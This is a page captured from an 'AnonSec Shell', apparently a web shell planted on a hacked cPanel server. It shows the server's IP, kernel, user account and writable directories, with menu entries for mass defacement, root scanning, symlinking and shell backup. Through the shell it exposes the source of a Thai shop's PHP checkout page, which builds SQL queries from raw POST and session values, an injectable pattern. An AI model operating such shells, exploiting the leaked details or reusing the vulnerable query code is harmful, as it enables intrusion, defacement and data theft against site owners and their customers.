AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/cart/checkout2.php
<?php include('../include/header.php')?>
<?php $menu = 'cart';?>
<?php
if($_POST['confirm'] <> 'cm3')
{
	?><meta http-equiv="refresh" content="0;URL=../home/index.php"><?php
	exit;
}
else
{
	$sql = array('table'=>'delivery','where'=>"id = '".$_POST['delivery']."'");
	$view_sql = $view_db->view($sql);
	$row = $view_db->q($view_sql);
	$_SESSION['delivery'] = $row['price'];
	$_SESSION['deliveryid'] = $row['id'];
}
?>
<?php include('../theme/menu.php')?>
<?php //include('../banner/index.php')?>
<?php //include('../theme/category.php')?>
<!-- /.body -->
<script type="text/javascript">

    function PrintElem(elem)
    {
        Popup($(elem).html());
    }

    function Popup(data)
    {
        var mywindow = window.open('', 'ใบสั่งซื้อสินค้า - kainumber', 'height=500,width=600');
        mywindow.document.write('<html><head><title>ใบสั่งซื้อสินค้า - kainumber</title>');
        /*optional stylesheet*/ //mywindow.document.write('<link rel="stylesheet" href="main.css" type="text/css" />');
        mywindow.document.write('</head><body >');
        mywindow.document.write(data);
        mywindow.document.write('</body></html>');

        mywindow.document.close(); // necessary for IE >= 10
        mywindow.focus(); // necessary for IE >= 10

        mywindow.print();
        mywindow.close();

        return true;
    }
</script>

<div class="container mt-5 mt-md-0 px-lg-5 px-3">
	<div class="row px-md-5 mb-3 pt-md-0">
		<div class="col-md-12 px-md-2 d-flex justify-content-between align-baseline" >
			<div class="">
				<h2 class="pb-0 mb-0 fw-loungethbold">ข้อมูลการชำระเงิน</h2>
			</div>
		</div>
	</div>
</div>

<div class="container mt-5 px-lg-5 px-3">
	 <div class="row px-md-5 mb-3">
		 <div class="col-md-12 px-md-2" >
			 <div class="row justify-content-center mb-5 mb-md-3">
				 <div class="btn-group text-center" role="group" aria-label="Basic checkbox toggle button group">
					 <input type="checkbox" class="btn-check" id="btncheck1" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck1">ขั้นตอนที่ 1</label>

					 <input type="checkbox" class="btn-check" id="btncheck2" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck2">ขั้นตอนที่ 2</label>

					 <input type="checkbox" class="btn-check" id="btncheck3" autocomplete="off">
					 <label class="btn btn-secondary2 active-btn" for="btncheck3">ขั้นตอนที่ 3</label>

					 <input type="checkbox" class="btn-check" id="btncheck3" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck3">ขั้นตอนที่ 4</label>

					 <input type="checkbox" class="btn-check" id="btncheck3" autocomplete="off">
					 <label class="btn btn-secondary2" for="btncheck3">ยืนยัน</label>
				 </div>

			 </div>

			 <div class="row">
				 <div class="col-12 col-md-12">
					 <?php
					 unset($_SESSION['total']);
					 $today = date("d/m/Y");
					 $date_1 = date("d/m/Y",date("U")+ 60*60*24);
					 ?>
					 <?php
					 $id_order =  $order_class->orders_runid();
					 ?>
						<form class="form-horizontal"  method="post" name="from_shipping" action="checkout3.php" >
							<div id="orders">
								<table width="100%" border="0" class="tb_receipt">
								<tr>
									<td align="right"><img src="../image/text_logotop.png" width="200" class="img-responsive"></td>
								</tr>
								<tr>
									<td>เลขที่ใบสั่งซื้อ : #<?php printf("%06d", $id_order);?></td>
								</tr>
								 <tr>
									<td>วันที่สั่งสินค้า : <?php echo $today ?></td>
								</tr>
								 <tr>
									<td>ชำระเงินภายในวันที่ : <?php  echo $date_1; ?></td>
								</tr>
							</table>
							<div style="border:0px solid #FFF;margin-top:15px;">
								<table width="100%" border="0" class="tb_receipt">
									<tr>
										<td>ที่อยู่สำหรับจัดส่งสินค้า</td>
									</tr>
									 <tr>
										<td><?php echo $_SESSION['name'] .' '. $_SESSION['lastname'];?></td>
									</tr>
									 <tr>
										<td><?php echo $_SESSION['address'] .' '. $_SESSION['province'] .' '. $_SESSION['zipcode']?></td>
									</tr>
									<tr>
										<td>โทรศัพท์ <?php echo $Phone_class->phonenumber($_SESSION['phone']);?></td>
									</tr>
									<tr>
										<td>lineID <?php echo $_SESSION['lineID'] ;?></td>
									</tr>
								</table>
							</div>
							<br>
					 		<table width="100%" border="1" align="center" class=" table  text-light rounded-4 " cellpadding="5" cellspacing="0"
							style="border: 3px solid #ff7800;">
							<tbody class="border-kai-bottom2">
								<tr align="center" class="border-kai-bottom2">
									<td>หมายเลขโทรศัพท์</td>
									<td>เครือข่าย</td>
									<td>ราคา</td>
								</tr>
								<?php
								$array_cart = array_unique($_SESSION["cart"]);
								foreach( $array_cart as $id_number )
								{
									$sql = array('table'=>'phonenumber','where'=>"id = '". $id_number."'");
									$view_sql = $view_db->view($sql);
									$row = $view_db->q($view_sql);

									$network_img='';
									if($row['mobilenetwork']==1){$network_img='0222- ais.png';}
									if($row['mobilenetwork']==2){$network_img='01- ddd.png';}
									if($row['mobilenetwork']==3){$network_img='03- true.png';}
									if($row['mobilenetwork']==8){$network_img='05- yyyy.png';}


									?>
									<tr align="center" class="border-kai-bottom2">
										<td ><?php echo $Phone_class->phonenumber($row['phonenumber']); ?></td>
										<?php
										$sql_type = array('table'=>'mobilenetwork','where'=>"id = '". $row['mobilenetwork']."'");
										$view_type = $view_db->view($sql_type);
										$row_type = $view_db->q($view_type);
										?>
										<td>
											<img src="../redbag/mobilenetwork/<?php echo $network_img;?>" width="58" >
										</td>
										<td align="right"><?php echo $row['price']; ?> บาท</td>
									</tr>
									<?php
									$p_price = str_replace("," , "" ,$row['price']);
									$sum_price = $sum_price + $p_price;
								}
								?>
								<tr>
									<td align="right" colspan="2">รวม</td>
									<td align="right"><?php  echo number_format($sum_price);?>  บาท</td>
								</tr>
								<tr>
									<td align="right" colspan="2">ค่าจัดส่ง</td>
									<td align="right"><?php echo number_format($_SESSION['delivery']);?> บาท</td>
								</tr>
								<?php   $total = $sum_price + $_SESSION['delivery']; ?>
								<?php
								$day_to = date('Y-m-d');
								$sql_ds = array('table'=>'code','where'=>"code = '".$_SESSION['discount']."' AND expirationdate >= '".$day_to."'");
								$view_ds = $view_db->view($sql_ds);
								$row_ds = $view_db->q($view_ds);
								if($row_ds['id'] > 0)
								{
									if($row_ds['type'] == 1)
									{
										$discount_t = $row_ds['money'].' บาท';
										$total = $total - $row_ds['money'];
										$_SESSION['discount_m'] = $row_ds['money'];
									}
									if($row_ds['type'] == 2)
									{
										$discount_t = $row_ds['money'].' %';
										$money = $total * $row_ds['money']/100;
										$total = $total - $money;
										$_SESSION['discount_m'] = $money;
									}
									?>
									<tr>
										<td align="right" colspan="2">ส่วนลด</td>
										<td align="right"><?php echo $discount_t;?></td>
									</tr>
								<?php } ?>
								<tr>
									<td align="right" colspan="2">ราคารวม</td>
									<td align="right"><?php echo number_format($total);?> บาท</td>
								</tr>

							</tbody>
							</table>
						</div>

						<div class="row mb-3 text-center mt-3 justify-content-center">
							<div class="col-sm-2">
							 <input type="hidden" name="confirm" value="cm3">
								<input class="btn btn-default corner_cancel btn-kai1 px-3" type="submit" value="พิมพ์ใบสั่งซื้อ" onClick="PrintElem('#orders')" style="color:#FFF;">
							</div>
							<div class="col-sm-2">
								<?php
								 $_SESSION['total'] = $total;
								 $_SESSION['order_id'] = $id_order;
								 ?>
							  <input type="hidden" name="confirm" value="cm4">
								<input class="btn btn-default corner_cancel btn-kai1 px-3" type="submit" value="ยินยันการสั่งซื้อ" style="color:#FFF;">
							</div>
						</div>



					 </form>

				 </div>

			 </div>
		 </div>
	 </div>
</div>



<!-- /.body -->
<?php include('../include/footer.php')?>
<?php include('../include/footer_js.php')?>

Anon7 - 2022
AnonSec Team